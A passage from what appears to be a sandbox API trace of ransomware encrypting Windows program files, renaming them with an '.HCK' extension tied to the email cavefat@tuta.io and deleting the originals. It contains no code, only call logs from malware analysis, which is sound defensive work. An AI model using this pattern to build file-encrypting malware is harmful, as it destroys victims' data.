Files\\Common Files\\filezilla.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\filezilla.exe.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0246.004] GetLastError () returned 0x0 [0246.004] ReadFile (in: hFile=0x354, lpBuffer=0x3cb4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cb4020*, lpNumberOfBytesRead=0x326fecc*=0x13a00, lpOverlapped=0x0) returned 1 [0246.007] WriteFile (in: hFile=0x358, lpBuffer=0x3cb4020*, nNumberOfBytesToWrite=0x13a10, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cb4020*, lpNumberOfBytesWritten=0x326fc94*=0x13a10, lpOverlapped=0x0) returned 1 [0246.008] ReadFile (in: hFile=0x354, lpBuffer=0x3cb4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cb4020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1 [0246.009] WriteFile (in: hFile=0x358, lpBuffer=0x3cb4020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cb4020*, lpNumberOfBytesWritten=0x326fc94*=0xee, lpOverlapped=0x0) returned 1 [0246.009] SetEndOfFile (hFile=0x358) returned 1 [0246.009] CloseHandle (hObject=0x358) returned 1 [0246.009] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.009] SetEndOfFile (hFile=0x354) returned 1 [0246.010] CloseHandle (hObject=0x354) returned 1 [0246.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\filezilla.exe.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0246.010] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\filezilla.exe" (normalized: "c:\\program files\\common files\\filezilla.exe")) returned 1 [0246.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\filezilla.exe") returned 43 [0246.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\filezilla.exe") returned 43 [0246.011] lstrlenW (lpString=".doc") returned 4 [0246.011] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0246.011] lstrlenW (lpString=".docx") returned 5 [0246.011] lstrcmpiW (lpString1=".docx", lpString2="a.exe") returned -1 [0246.011] lstrlenW (lpString=".pdf") returned 4 [0246.011] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0246.011] lstrlenW (lpString=".xls") returned 4 [0246.011] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0246.011] lstrlenW (lpString=".xlsx") returned 5 [0246.011] lstrcmpiW (lpString1=".xlsx", lpString2="a.exe") returned -1 [0246.011] lstrlenW (lpString=".ppt") returned 4 [0246.011] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0246.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\filezilla.exe") returned 43 [0246.011] lstrlenW (lpString=".zip") returned 4 [0246.011] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0246.011] lstrlenW (lpString=".rar") returned 4 [0246.011] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0246.011] lstrlenW (lpString=".bz2") returned 4 [0246.011] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0246.011] lstrlenW (lpString=".7z") returned 3 [0246.011] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0246.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\filezilla.exe") returned 43 [0246.011] lstrlenW (lpString=".dbf") returned 4 [0246.011] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0246.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\filezilla.exe") returned 43 [0246.011] lstrlenW (lpString=".1cd") returned 4 [0246.011] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0246.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\filezilla.exe") returned 43 [0246.011] lstrlenW (lpString=".jpg") returned 4 [0246.011] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0246.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\filezilla.exe") returned 43 [0246.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\filezilla.exe") returned 43 [0246.011] lstrlenW (lpString=".doc") returned 4 [0246.011] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0246.011] lstrlenW (lpString=".docx") returned 5 [0246.011] lstrcmpiW (lpString1=".docx", lpString2="a.exe") returned -1 [0246.012] lstrlenW (lpString=".pdf") returned 4 [0246.012] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0246.012] lstrlenW (lpString=".xls") returned 4 [0246.012] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0246.012] lstrlenW (lpString=".xlsx") returned 5 [0246.012] lstrcmpiW (lpString1=".xlsx", lpString2="a.exe") returned -1 [0246.012] lstrlenW (lpString=".ppt") returned 4 [0246.012] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0246.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\filezilla.exe") returned 43 [0246.012] lstrlenW (lpString=".zip") returned 4 [0246.012] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0246.012] lstrlenW (lpString=".rar") returned 4 [0246.012] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0246.012] lstrlenW (lpString=".bz2") returned 4 [0246.012] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0246.012] lstrlenW (lpString=".7z") returned 3 [0246.012] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0246.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\filezilla.exe") returned 43 [0246.012] lstrlenW (lpString=".dbf") returned 4 [0246.012] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0246.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\filezilla.exe") returned 43 [0246.012] lstrlenW (lpString=".1cd") returned 4 [0246.012] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0246.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\filezilla.exe") returned 43 [0246.012] lstrlenW (lpString=".jpg") returned 4 [0246.012] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0246.012] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0246.012] lstrlenW (lpString="C2R64.dll") returned 9 [0246.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0246.013] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=1208928) returned 1 [0246.013] CloseHandle (hObject=0x354) returned 1 [0246.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")) returned 0x20 [0246.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0x20 [0246.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0246.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0246.013] lstrlenW (lpString=".doc") returned 4 [0246.013] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0246.013] lstrlenW (lpString=".docx") returned 5 [0246.013] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0246.013] lstrlenW (lpString=".pdf") returned 4 [0246.013] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0246.013] lstrlenW (lpString=".xls") returned 4 [0246.013] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0246.013] lstrlenW (lpString=".xlsx") returned 5 [0246.013] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0246.013] lstrlenW (lpString=".ppt") returned 4 [0246.013] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0246.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0246.013] lstrlenW (lpString=".zip") returned 4 [0246.013] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0246.013] lstrlenW (lpString=".rar") returned 4 [0246.013] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0246.013] lstrlenW (lpString=".bz2") returned 4 [0246.013] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0246.013] lstrlenW (lpString=".7z") returned 3 [0246.013] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0246.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0246.013] lstrlenW (lpString=".dbf") returned 4 [0246.013] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0246.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0246.013] lstrlenW (lpString=".1cd") returned 4 [0246.013] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0246.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0246.013] lstrlenW (lpString=".jpg") returned 4 [0246.013] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0246.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0246.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0246.014] lstrlenW (lpString=".doc") returned 4 [0246.014] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0246.014] lstrlenW (lpString=".docx") returned 5 [0246.014] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0246.014] lstrlenW (lpString=".pdf") returned 4 [0246.014] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0246.014] lstrlenW (lpString=".xls") returned 4 [0246.014] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0246.014] lstrlenW (lpString=".xlsx") returned 5 [0246.014] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0246.014] lstrlenW (lpString=".ppt") returned 4 [0246.014] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0246.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0246.014] lstrlenW (lpString=".zip") returned 4 [0246.014] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0246.014] lstrlenW (lpString=".rar") returned 4 [0246.014] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0246.014] lstrlenW (lpString=".bz2") returned 4 [0246.014] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0246.014] lstrlenW (lpString=".7z") returned 3 [0246.014] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0246.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0246.014] lstrlenW (lpString=".dbf") returned 4 [0246.014] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0246.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0246.014] lstrlenW (lpString=".1cd") returned 4 [0246.014] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0246.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0246.014] lstrlenW (lpString=".jpg") returned 4 [0246.014] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0246.014] lstrcmpiW (lpString1=".exe", lpString2=".HCK") returned -1 [0246.014] lstrlenW (lpString="IntegratedOffice.exe") returned 20 [0246.014] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0246.015] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=1093248) returned 1 [0246.015] CloseHandle (hObject=0x354) returned 1 [0246.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 0x20 [0246.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 0x20 [0246.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0246.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0246.015] lstrlenW (lpString=".doc") returned 4 [0246.015] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0246.015] lstrlenW (lpString=".docx") returned 5 [0246.015] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0246.015] lstrlenW (lpString=".pdf") returned 4 [0246.015] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0246.015] lstrlenW (lpString=".xls") returned 4 [0246.015] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0246.015] lstrlenW (lpString=".xlsx") returned 5 [0246.015] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0246.015] lstrlenW (lpString=".ppt") returned 4 [0246.015] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0246.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0246.015] lstrlenW (lpString=".zip") returned 4 [0246.015] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0246.015] lstrlenW (lpString=".rar") returned 4 [0246.015] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0246.015] lstrlenW (lpString=".bz2") returned 4 [0246.015] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0246.015] lstrlenW (lpString=".7z") returned 3 [0246.015] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0246.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0246.015] lstrlenW (lpString=".dbf") returned 4 [0246.015] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0246.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0246.015] lstrlenW (lpString=".1cd") returned 4 [0246.015] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0246.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0246.015] lstrlenW (lpString=".jpg") returned 4 [0246.015] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0246.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0246.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0246.015] lstrlenW (lpString=".doc") returned 4 [0246.016] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0246.016] lstrlenW (lpString=".docx") returned 5 [0246.016] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0246.016] lstrlenW (lpString=".pdf") returned 4 [0246.016] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0246.016] lstrlenW (lpString=".xls") returned 4 [0246.016] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0246.016] lstrlenW (lpString=".xlsx") returned 5 [0246.016] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0246.016] lstrlenW (lpString=".ppt") returned 4 [0246.016] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0246.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0246.016] lstrlenW (lpString=".zip") returned 4 [0246.016] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0246.016] lstrlenW (lpString=".rar") returned 4 [0246.016] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0246.016] lstrlenW (lpString=".bz2") returned 4 [0246.016] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0246.016] lstrlenW (lpString=".7z") returned 3 [0246.016] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0246.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0246.016] lstrlenW (lpString=".dbf") returned 4 [0246.016] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0246.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0246.016] lstrlenW (lpString=".1cd") returned 4 [0246.016] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0246.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0246.016] lstrlenW (lpString=".jpg") returned 4 [0246.016] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0246.016] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0246.016] lstrlenW (lpString="mso40uires.dll") returned 14 [0246.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0246.016] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=3177152) returned 1 [0246.016] CloseHandle (hObject=0x354) returned 1 [0246.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 0x20 [0246.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0246.017] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 1 [0246.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0246.018] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fc64 | out: lpNewFilePointer=0x0) returned 1 [0246.018] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fc24 | out: lpNewFilePointer=0x0) returned 1 [0246.018] ReadFile (in: hFile=0x354, lpBuffer=0x3cb4058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x326fc30, lpOverlapped=0x0 | out: lpBuffer=0x3cb4058*, lpNumberOfBytesRead=0x326fc30*=0x40000, lpOverlapped=0x0) returned 1 [0246.193] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x1028ea, lpNewFilePointer=0x0, dwMoveMethod=0x326fc24 | out: lpNewFilePointer=0x0) returned 1 [0246.193] ReadFile (in: hFile=0x354, lpBuffer=0x3cf4058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x326fc30, lpOverlapped=0x0 | out: lpBuffer=0x3cf4058*, lpNumberOfBytesRead=0x326fc30*=0x40000, lpOverlapped=0x0) returned 1 [0246.200] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x326fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.200] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x2c7ac0, lpNewFilePointer=0x0, dwMoveMethod=0x326fc24 | out: lpNewFilePointer=0x0) returned 1 [0246.200] ReadFile (in: hFile=0x354, lpBuffer=0x3d34058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x326fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d34058*, lpNumberOfBytesRead=0x326fc30*=0x40000, lpOverlapped=0x0) returned 1 [0246.221] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.222] WriteFile (in: hFile=0x354, lpBuffer=0x3cb4020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x326fca8, lpOverlapped=0x0 | out: lpBuffer=0x3cb4020*, lpNumberOfBytesWritten=0x326fca8*=0xc0108, lpOverlapped=0x0) returned 1 [0246.572] SetEndOfFile (hFile=0x354) returned 1 [0246.572] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40000) returned 0x41c40b8 [0246.774] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fc74 | out: lpNewFilePointer=0x0) returned 1 [0246.775] WriteFile (in: hFile=0x354, lpBuffer=0x41c40b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x326fc80, lpOverlapped=0x0 | out: lpBuffer=0x41c40b8*, lpNumberOfBytesWritten=0x326fc80*=0x40000, lpOverlapped=0x0) returned 1 [0246.776] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x1028ea, lpNewFilePointer=0x0, dwMoveMethod=0x326fc74 | out: lpNewFilePointer=0x0) returned 1 [0246.776] WriteFile (in: hFile=0x354, lpBuffer=0x41c40b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x326fc80, lpOverlapped=0x0 | out: lpBuffer=0x41c40b8*, lpNumberOfBytesWritten=0x326fc80*=0x40000, lpOverlapped=0x0) returned 1 [0246.779] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x2c7ac0, lpNewFilePointer=0x0, dwMoveMethod=0x326fc74 | out: lpNewFilePointer=0x0) returned 1 [0246.779] WriteFile (in: hFile=0x354, lpBuffer=0x41c40b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x326fc80, lpOverlapped=0x0 | out: lpBuffer=0x41c40b8*, lpNumberOfBytesWritten=0x326fc80*=0x40000, lpOverlapped=0x0) returned 1 [0246.784] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41c40b8 | out: hHeap=0x520000) returned 1 [0246.784] CloseHandle (hObject=0x354) returned 1 [0246.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0246.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0246.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0246.784] lstrlenW (lpString=".doc") returned 4 [0246.784] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0246.784] lstrlenW (lpString=".docx") returned 5 [0246.784] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0246.784] lstrlenW (lpString=".pdf") returned 4 [0246.784] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0246.784] lstrlenW (lpString=".xls") returned 4 [0246.785] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0246.785] lstrlenW (lpString=".xlsx") returned 5 [0246.785] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0246.785] lstrlenW (lpString=".ppt") returned 4 [0246.785] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0246.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0246.785] lstrlenW (lpString=".zip") returned 4 [0246.785] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0246.785] lstrlenW (lpString=".rar") returned 4 [0246.785] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0246.785] lstrlenW (lpString=".bz2") returned 4 [0246.785] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0246.785] lstrlenW (lpString=".7z") returned 3 [0246.785] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0246.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0246.785] lstrlenW (lpString=".dbf") returned 4 [0246.785] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0246.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0246.785] lstrlenW (lpString=".1cd") returned 4 [0246.785] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0246.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0246.785] lstrlenW (lpString=".jpg") returned 4 [0246.785] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0246.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0246.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0246.785] lstrlenW (lpString=".doc") returned 4 [0246.785] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0246.785] lstrlenW (lpString=".docx") returned 5 [0246.785] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0246.785] lstrlenW (lpString=".pdf") returned 4 [0246.785] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0246.785] lstrlenW (lpString=".xls") returned 4 [0246.785] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0246.785] lstrlenW (lpString=".xlsx") returned 5 [0246.785] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0246.785] lstrlenW (lpString=".ppt") returned 4 [0246.785] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0246.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0246.785] lstrlenW (lpString=".zip") returned 4 [0246.785] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0246.785] lstrlenW (lpString=".rar") returned 4 [0246.785] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0246.785] lstrlenW (lpString=".bz2") returned 4 [0246.785] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0246.785] lstrlenW (lpString=".7z") returned 3 [0246.785] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0246.785] lstrlenW 